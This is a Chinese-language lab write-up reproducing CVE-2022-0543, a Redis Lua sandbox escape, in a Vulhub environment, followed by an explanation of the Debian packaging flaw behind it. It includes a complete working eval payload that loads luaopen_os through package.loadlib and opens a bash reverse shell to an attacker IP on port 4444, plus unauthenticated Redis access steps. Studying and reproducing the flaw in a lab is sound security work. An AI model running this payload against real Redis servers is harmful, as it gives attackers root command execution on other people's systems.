文章首先通过 Vulhub 快速搭建受影响的 Redis 5.0.7 漏洞环境,并演示了如何通过 nmap 进行服务指纹识别与风险探测。核心环节展示了构造精心设计的 Lua 脚本 Payload,利用 package.loadlib 函数调用系统级共享库,最终在靶机上实现未授权远程代码执行(RCE)并成功获取 Root 权限反弹 Shell。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2022-0543 | 10.0 | Debian:Bullseye (11), Buster (10), Sid (Unstable);Ubuntu:22.04 LTS, 20.04 LTS, 18.04 LTS | 远程代码执行(RCE) |
漏洞复现
复现环境准备
使用vulhub快速搭建漏洞环境:
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/openssl/CVE-2022-0778
┌──(kali㉿kali)-[~/vulhub/redis/CVE-2022-0543]
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
7b520778b565 vulhub/redis:5.0.7 "redis-server /etc/r…" 13 minutes ago Up 13 minutes 0.0.0.0:6379->6379/tcp, :::6379->6379/tcp cve-2022-0543-redis-1
目标探测
端口扫描与服务识别
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP
# 扫描结果
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 5.0.7
| vulners:
| cpe:/a:redislabs:redis:5.0.7:
| CVE-2021-21309 8.8 https://vulners.com/cve/CVE-2021-21309
| CVE-2020-14147 7.7 https://vulners.com/cve/CVE-2020-14147
| CVE-2021-32761 7.5 https://vulners.com/cve/CVE-2021-32761
| CVE-2020-21468 7.5 https://vulners.com/cve/CVE-2020-21468
| CVE-2015-8080 7.5 https://vulners.com/cve/CVE-2015-8080
|_ CVE-2021-3470 5.3 https://vulners.com/cve/CVE-2021-3470
MAC Address: 00:0C:29:B3:23:74 (VMware)
根据 nmap 扫描结果,靶机运行的是 Redis 5.0.7。这个版本在 Ubuntu 18.04 或 Debian 10 的软件仓库中非常常见,正是 CVE-2022-0543 的典型受影响版本。
虽然 nmap 的漏洞脚本列出了一些其他 CVE,但由于这是 Debian 系列特有的打包漏洞,它往往不会直接出现在通用的版本扫描结论中。
攻击过程
漏洞初步验证
尝试空密码连接 Redis,并获取服务器信息:
──(kali㉿kali)-[~]
└─$ redis-cli -h 192.168.31.148
192.168.31.148:6379> info
# Server
redis_version:5.0.7
...
os:Linux 6.17.10+kali-amd64 x86_64
...
config_file:/etc/redis/redis.conf
从结果来看该靶机的 Redis 服务没有密码且允许远程连接,存在未授权访问。
redis_version: 5.0.7:正处于该漏洞的高危版本区间。
os:Linux 6.17.10+kali-amd64 x86_64:确认是 64 位 Linux 环境,这决定了后续加载 .so 文件的路径。
config_file: /etc/redis/redis.conf:典型的 Debian/Ubuntu 软件包安装路径,验证了这是 Debian 打包版的 Redis。
验证 Lua 环境是否异常,看是否返回 package 模块的信息:
192.168.31.148:6379> eval 'return package' 0
(empty array)
在正常的、安全的 Redis Lua 沙盒中,执行 return package 应该报错 attempt to index a nil value。而目标的环境返回了一个空的数组(在某些 Redis 客户端中代表这是一个存在的 Table 对象),这说明 package 模块已经被加载到了 Lua 环境中。
执行攻击 Payload
攻击机启动 nc 监听,接收反弹 Shell:
┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444
listening on [any] 4444 ...
寻找攻击载体:
该漏洞需要加载 liblua。由于不同系统路径不同,通常可以尝试以下常见路径:
/usr/lib/x86_64-linux-gnu/liblua5.1.so.0/usr/lib/i386-linux-gnu/liblua5.1.so.0/usr/local/lib/liblua.so
192.168.31.148:6379> eval 'local os_execute = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_execute(); return os.execute("bash -c \"bash -i >& /dev/tcp/192.168.31.152/4444 0>&1\"");' 0
反弹成功:

漏洞核心原理
Debian 系统的“过度打包”
正常的 Redis 官方版本在编译时,会将 Lua 脚本引擎的代码静态嵌入到程序内部,并且严格剔除了 Lua 原生标准库中具有危险功能的模块(如 package 和 os)。
但在 Debian、Ubuntu 等系统中,维护者在打包 Redis 时,为了减少程序体积并遵循系统组件共享原则,修改了源码,让 Redis 去动态链接系统自带的 Lua 库。
沙盒逃逸
Redis 的 Lua 环境是一个“沙盒”,本意是只允许处理数据,禁止操作服务器系统。 虽然 package 模块被错误引入了,但直接调用系统命令的 os 模块依然是被禁用的。但攻击者可以指定加载系统自带的 liblua5.1.so.0 库,并强行调用其中的 luaopen_os 函数。这个操作会在当前的 Redis Lua 环境中手动重新激活并导出原本被禁用的 os 模块。
系统调用
一旦 os 模块被成功导出,Lua 脚本就拥有了调用底层操作系统 API 的能力:
加载模块:local os_execute = package.loadlib(...)
获取控制权:local os = os_execute()
执行指令:os.execute("cmd")
此时,Redis 进程会代表 Lua 脚本向操作系统发送指令(如 bash)。由于许多旧版 Redis 默认以 root 用户身份运行,攻击者通过 Redis 注入的命令也就获得了系统的最高控制权。